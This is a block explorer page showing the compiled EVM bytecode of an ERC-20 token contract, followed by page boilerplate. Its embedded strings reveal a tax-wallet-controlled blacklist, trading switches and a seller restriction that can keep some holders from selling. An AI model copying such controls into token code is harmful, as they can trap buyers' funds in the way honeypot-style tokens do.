31257600080fd5b50601854610326906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561034a57600080fd5b5061030461035936600461215a565b6108fe565b34801561036a57600080fd5b506011545b604051908152602001610299565b34801561038957600080fd5b5061028d610398366004612173565b610983565b3480156103a957600080fd5b50600654600754600854604080516001600160a01b0394851681529284166020840152921691810191909152606001610299565b3480156103e957600080fd5b5060105461036f565b3480156103fe57600080fd5b5060095461036f565b34801561041357600080fd5b506103046104223660046121b4565b610a46565b34801561043357600080fd5b50601954610326906001600160a01b031681565b34801561045357600080fd5b50610304610a72565b34801561046857600080fd5b50600954600a5460408051928352602083019190915201610299565b34801561049057600080fd5b50600b5461036f565b3480156104a557600080fd5b5060165461036f565b3480156104ba57600080fd5b5060175461036f565b3480156104cf57600080fd5b506103046104de3660046121d1565b610ad8565b3480156104ef57600080fd5b50610304610aeb565b34801561050457600080fd5b5060195461028d90600160b01b900460ff1681565b34801561052557600080fd5b5061036f6105343660046121b4565b6001600160a01b031660009081526001602052604090205490565b34801561055b57600080fd5b50610304610b3d565b34801561057057600080fd5b50610304610b51565b34801561058557600080fd5b5061036f600f5481565b34801561059b57600080fd5b506103046105aa36600461215a565b610b96565b3480156105bb57600080fd5b50610304610c1b565b3480156105d057600080fd5b5060145461036f565b3480156105e557600080fd5b506000546001600160a01b0316610326565b34801561060357600080fd5b5060155461036f565b34801561061857600080fd5b5061036f61271081565b34801561062e57600080fd5b506102b7610e31565b34801561064357600080fd5b5061028d6106523660046120e7565b610e40565b34801561066357600080fd5b506103046106723660046121f3565b610e4d565b34801561068357600080fd5b5060195461028d90600160a81b900460ff1681565b3480156106a457600080fd5b50600a5461036f565b3480156106b957600080fd5b5061036f6106c836600461223e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106ff57600080fd5b50600c5461036f565b34801561071457600080fd5b50610304611068565b34801561072957600080fd5b506103046107383660046121b4565b61141e565b34801561074957600080fd5b5061028d6107583660046121b4565b60056020526000908152604090205460ff1681565b34801561077957600080fd5b506103046107883660046121b4565b61145c565b34801561079957600080fd5b5060195461028d90600160a01b900460ff1681565b6060601280546107bd9061226c565b80601f01602080910402602001604051908101604052809291908181526020018280546107e99061226c565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050505050905090565b600061084d338484611485565b5060015b92915050565b61085f6115a9565b6006546001600160a01b0316336001600160a01b03161461089b5760405162461bcd60e51b8152600401610892906122a6565b60405180910390fd5b6001600160a01b038216600081815260056020908152604091829020805460ff19168515159081179091558251938452908301527ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d910160405180910390a15050565b6006546001600160a01b0316336001600160a01b0316146109315760405162461bcd60e51b8152600401610892906122a6565b600081118015610942575060115481105b61097e5760405162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b6044820152606401610892565b601755565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156109f65760405162461bcd60e51b815260206004820152601c60248201527f45524332303a20416c6c6f77616e636573206e6f7420656e6f756768000000006044820152606401610892565b610a018484846115d6565b6001600160a01b038416600090815260026020908152604080832033808552925290912054610a3c918691610a379086906122e5565b611485565b5060019392505050565b610a4e6115a9565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6006546001600160a01b0316336001600160a01b031614610aa55760405162461bcd60e51b8152600401610892906122a6565b306000908152600160205260409020548015610ac457610ac481611d58565b478015610ad457610ad481611eeb565b5050565b610ae06115a9565b600991909155600a55565b610af36115a9565b6064601154610b0291906122f8565b60148190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906020015b60405180910390a1565b610b456115a9565b610b4f600061201b565b565b610b596115a9565b601154601481905560158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90602001610b33565b600081118015610ba7575060115481105b610be35760405162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b6044820152606401610892565b6006546001600160a01b0316336001600160a01b031614610c165760405162461bcd60e51b8152600401610892906122a6565b601655565b610c236115a9565b601954600160a01b900460ff1615610c775760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610892565b6019546001600160a01b0316610e1457601860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe919061231a565b6001600160a01b031663e6a4390530601860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d84919061231a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610dcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df3919061231a565b601980546001600160a01b0319166001600160a01b03929092169190911790555b6019805462ff00ff60a01b19166201000160a01b17905542600f55565b6060601380546107bd9061226c565b600061084d3384846115d6565b6006546001600160a01b0316336001600160a01b031614610e805760405162461bcd60e51b8152600401610892906122a6565b6001600160a01b038316610ed65760405162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616464726573732074617857616c6c65745f0000000000006044820152606401610892565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616464726573732064657657616c6c65745f0000000000006044820152606401610892565b6001600160a01b038116610f825760405162461bcd60e51b815260206004820152601a60248201527f496e76616c69642061646472657373206d6b7457616c6c65745f0000000000006044820152606401610892565b600680546001600160a01b039081166000908152600360209081526040808320805460ff199081169091556007805486168552828520805483169055600880548716865283862080548416905587546001600160a01b03199081168c89169081178a55835482168c8a1617845582549091168a891617825586528386208054841660019081179091559154871686528386208054841683179055548616855293829020805490911690931790925592549051911681527f9a5950144c135c4ca7cfeed1549eeb7309d0270f4269aabbe564ba06adb4584d910160405180910390a1505050565b6110706115a9565b601954600160a01b900460ff161580156110945750601954600160b81b900460ff16155b6110da5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610892565b6018546011546110f79130916001600160a01b0390911690611485565b601860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561114a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116e919061231a565b6001600160a01b031663c9c6539630601860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061231a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611241573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611265919061231a565b601980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556018541663f305d71947306112c8816001600160a01b031660009081526001602052604090205490565b6000806112dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611345573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061136a9190612337565b505060195460185460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190612365565b50601980546001600160a01b03166000908152600360205260409020805460ff19169055805460ff60b81b1916600160b81b179055565b6114266115a9565b6001600160a01b03811661145057604051631e4fbdf760e01b815260006004820152602401610892565b6114598161201b565b50565b6114646115a9565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6001600160a01b0383166114e75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610892565b6001600160a01b0382166115485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610892565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03163314610b4f5760405163118cdaa760e01b8152336004820152602401610892565b6001600160a01b03831661163a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610892565b6001600160a01b03821661169c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610892565b600081116117055760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610892565b6001600160a01b03831660009081526005602052604090205460ff1615801561174757506001600160a01b03821660009081526005602052604090205460ff16155b61178a5760405162461bcd60e51b8152602060048201526014602482015273165bdd48185c99481a5b88189b1858dadb1a5cdd60621b6044820152606401610892565b6000808061179b600954600a549091565b915091506117b16000546001600160a01b031690565b6001600160a01b0316866001600160a01b0316141580156117e057506000546001600160a01b03868116911614155b15611b9b576019546001600160a01b03878116911614801561181057506018546001600160a01b03868116911614155b801561183557506001600160a01b03851660009081526003602052604090205460ff16155b156119e3576014548411156118885760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610892565b601954600160a01b900460ff166118d45760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610892565b601554846118f7876001600160a01b031660009081526001602052604090205490565b6119019190612382565b111561194f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610892565b600d54600e5410156119aa57843b156119aa5760405162461bcd60e51b815260206004820152601a60248201527f4e6f7420616c6c6f7720636f6e747261637420627579206e6f770000000000006044820152606401610892565b600e80549060006119ba83612395565b90915550506001600160a01b0385166000908152600460205260409020805460ff191660011790555b6127106119f083866123ae565b6119fa91906122f8565b6019549093506001600160a01b038681169116148015611a2357506001600160a01b0386163014155b15611afb57601454841115611a765760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610892565b612710611a8382866123ae565b611a8d91906122f8565b9250600d54600e541180611ab957506001600160a01b03861660009081526004602052604090205460ff165b611afb5760405162461bcd60e51b815260206004820152601360248201527229b2b63632b91034b9903737ba10313abcb2b960691b6044820152606401610892565b30600090815260016020526040902054601754601954600160a81b900460ff16158015611b3557506019546001600160a01b038881169116145b8015611b4a5750601954600160b01b900460ff165b8015611b57575060165482115b8015611b665750600d54600e54115b15611b9857611b86611b8187611b7c858561206b565b61206b565b611d58565b478015611b9657611b9647611eeb565b505b50505b6001600160a01b03851660009081526003602052604090205460ff168015611bd057506019546001600160a01b038681169116145b15611bda57600092505b6019546001600160a01b03868116911614801590611c0657506019546001600160a01b03878116911614155b15611c1057600092505b8215611c8b5730600090815260016020526040902054611c31908490612382565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c829087815260200190565b60405180910390a35b6001600160a01b038616600090815260016020526040902054611caf9085906122e5565b6001600160a01b038716600090815260016020526040902055611cd283856122e5565b6001600160a01b038616600090815260016020526040902054611cf59190612382565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d3f86886122e5565b60405190815260200160405180910390a3505050505050565b6019805460ff60a81b1916600160a81b1790558015611edb57601954600160a01b900460ff1615611edb576040805160028082526060820183526000926020830190803683370190505090503081600081518110611db857611db86123c5565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e35919061231a565b81600181518110611e4857611e486123c5565b6001600160a01b039283166020918202929092010152601854611e6e9130911684611485565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ea79085906000908690309042906004016123db565b600060405180830381600087803b158015611ec157600080fd5b505af1158015611ed5573d6000803e3d6000fd5b50505050505b506019805460ff60a81b19169055565b6000611ef86002836122f8565b90506000600a611f098460026123ae565b611f1391906122f8565b90506000611f218284612382565b611f2b90856122e5565b6006549091506001600160a01b031615611f7b576006546040516001600160a01b039091169084156108fc029085906000818181858888f19350505050158015611f79573d6000803e3d6000fd5b505b6008546001600160a01b031615611fc8576008546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611fc6573d6000803e3d6000fd5b505b6007546001600160a01b031615612015576007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612013573d6000803e3d6000fd5b505b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600081831161207a578261207c565b815b9392505050565b60006020808352835180602085015260005b818110156120b157858101830151858201604001528201612095565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461145957600080fd5b600080604083850312156120fa57600080fd5b8235612105816120d2565b946020939093013593505050565b801515811461145957600080fd5b6000806040838503121561213457600080fd5b823561213f816120d2565b9150602083013561214f81612113565b809150509250929050565b60006020828403121561216c57600080fd5b5035919050565b60008060006060848603121561218857600080fd5b8335612193816120d2565b925060208401356121a3816120d2565b929592945050506040919091013590565b6000602082840312156121c657600080fd5b813561207c816120d2565b600080604083850312156121e457600080fd5b50508035926020909101359150565b60008060006060848603121561220857600080fd5b8335612213816120d2565b92506020840135612223816120d2565b91506040840135612233816120d2565b809150509250925092565b6000806040838503121561225157600080fd5b823561225c816120d2565b9150602083013561214f816120d2565b600181811c9082168061228057607f821691505b6020821081036122a057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600f908201526e13db9b1e481d185e081dd85b1b195d608a1b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610851576108516122cf565b60008261231557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561232c57600080fd5b815161207c816120d2565b60008060006060848603121561234c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561237757600080fd5b815161207c81612113565b80820180821115610851576108516122cf565b6000600182016123a7576123a76122cf565b5060010190565b8082028115828204841417610851576108516122cf565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101561242d5784516001600160a01b031683529383019391830191600101612408565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e7c58f49c734d61faeac4f2875d67e9d26b9655a78a7d3ddee158c8ed3fd460a64736f6c63430008170033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.